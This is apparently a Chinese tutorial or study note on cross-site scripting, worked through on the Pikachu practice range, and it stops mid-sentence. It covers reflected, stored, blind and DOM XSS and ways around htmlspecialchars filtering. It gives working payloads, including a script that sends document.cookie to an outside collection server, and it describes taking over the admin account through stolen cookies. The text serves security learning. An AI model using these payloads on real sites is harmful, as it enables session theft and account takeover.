XSS

经典语句:<script>alert(1)</script>

XSS:跨站脚本(cross site scripting)

类型:

反射型(用户访问包含恶意代码的URL,当点击链接时恶意代码会直接执行)、存储型(恶意代码在漏洞服务端数据库中,浏览该页面就会执行代码)、DOM型(基于文档对象模型,不经过后端)

要改变页面的某个东西,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM )。

原理:

程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。(来源于pikachu)

实例演示(pikachu靶场)

反射型

get

直接更改URL,可以直接在参数后加payload

**输入payload:**获取提示框‘123’

如遇输入框的长度限制 –> 在地址栏插payload or 修改html代码中的输入框长度限制(每输入一个payload之前都要改一次)

post

无法在URL中插入payload的,需要插入内容到数据包,通过html页面方式提交,构造一个自己的post

对post.html中<script>document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

将cookie传送到xss后台

输入Payload:<script>alert(document.cookie)</script> 获取admin的cookie

存储型(永久型)

在留言板中输入上述1.2代码可成功获取,检查后发现恶意代码已在html代码中注入;刷新页面或者用其他浏览器来到本页面,也出现同样的弹框,说明存储型XSS能危害所有访问该页面的用户

xss盲打

强制在留言板提交xss脚本,前段没有直接回显,只能在后台看到反馈效果

XSS盲打的攻击目标是后台管理员,在前端利用输入接口进行攻击,输入的js代码被存储到了数据库中,在管理员登录的时候被触发。盗取管理员cookie后即刻进行管理员密码破解。

DOM型

DOM:可以理解为一个个访问HTML的标准编程接口。

—— 寻找DOM XSS的本质是做js语言阅读理解题

代码示例分析:

1
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";

利用了DOM将字符串进行了拼接并把值给a标签中的href,然后输出一个what do you see?

通过 getElementById 方法找到 HTML 中 iddom 的元素(

)

用innerHTML修改dom元素内部的内容

创建一个 HTML 超链接元素 (<a>),变量 str 的值会成为标签的链接地址

思路:利用已知条件构建payload(闭合标签和引号)

payload1:' onclick="alert('xss')"> –>拼接后

<a href=" onclick="alert('xss')" >' what do you see?</a>

payload2:'><img src="#" onmouseover="alert('xss')"> –>拼接后

<a href=""> <img src="#" onmouseover="alert('xss')" >' what do you see?</a>

关于href:指定超链接的目标地址为空,点击不会跳转到其他页面;'>注入的内容关闭了 href 属性,并添加了一个新的 onclick 属性。

DOM-X:像反射型一样在URL中体现,还是利用DOM进行拼接并把值给a标签的href

xss过滤

关于Htmlspecialchars 函数:将特定的 HTML 字符转换为 HTML 实体字符,防止被浏览器解释为html语言而过滤

可利用该函数过滤进行防御xss攻击

输入<script>alert(1)</script>后发现左右尖括号被编码成&lt ;&gt ;了,但单引号’没有被编码,

<a href='&lt;script&gt;alert(1)&lt;/script&gt;'>&lt;script&gt;alert(1)&lt;/script&gt;</a>

可操作,输入payload:#' onclick='alert(1)'拼接后为

<a href='#' onclick='alert(1)''>#' onclick='alert(1)'</a>

href输出

输入弹窗语句后,没有弹窗,查看源代码后发现左右尖括号和单引号都被html编码了

href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。

输入payload:javascript:alert(document.cookie)

js输出

输入弹窗语句后,没有弹窗,查看源代码后发现输入内容在